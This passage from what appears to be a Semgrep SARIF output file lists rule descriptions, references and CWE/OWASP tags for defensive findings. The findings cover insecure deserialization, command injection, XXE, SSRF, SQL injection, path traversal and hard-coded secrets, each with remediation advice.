function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","id":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","name":"python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-ruamel-aws-lambda.tainted-ruamel-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","id":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","name":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","id":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","name":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File name based on user input risks server-side request forgery."},"help":{"markdown":"File name based on user input risks server-side request forgery.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"File name based on user input risks server-side request forgery."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","id":"php.lang.security.injection.tainted-filename.tainted-filename","name":"php.lang.security.injection.tainted-filename.tainted-filename","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-filename.tainted-filename"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","id":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","name":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"help":{"markdown":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","id":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","name":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"help":{"markdown":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","id":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","name":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","id":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","name":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"help":{"markdown":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning)\n - [https://pytorch.org/docs/stable/data.html#memory-pinning](https://pytorch.org/docs/stable/data.html#memory-pinning)\n","text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"helpUri":"https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","id":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","name":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.automatic-memory-pinning.automatic-memory-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"help":{"markdown":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"helpUri":"https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","id":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","name":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.iterate-over-empty-map.iterate-over-empty-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, 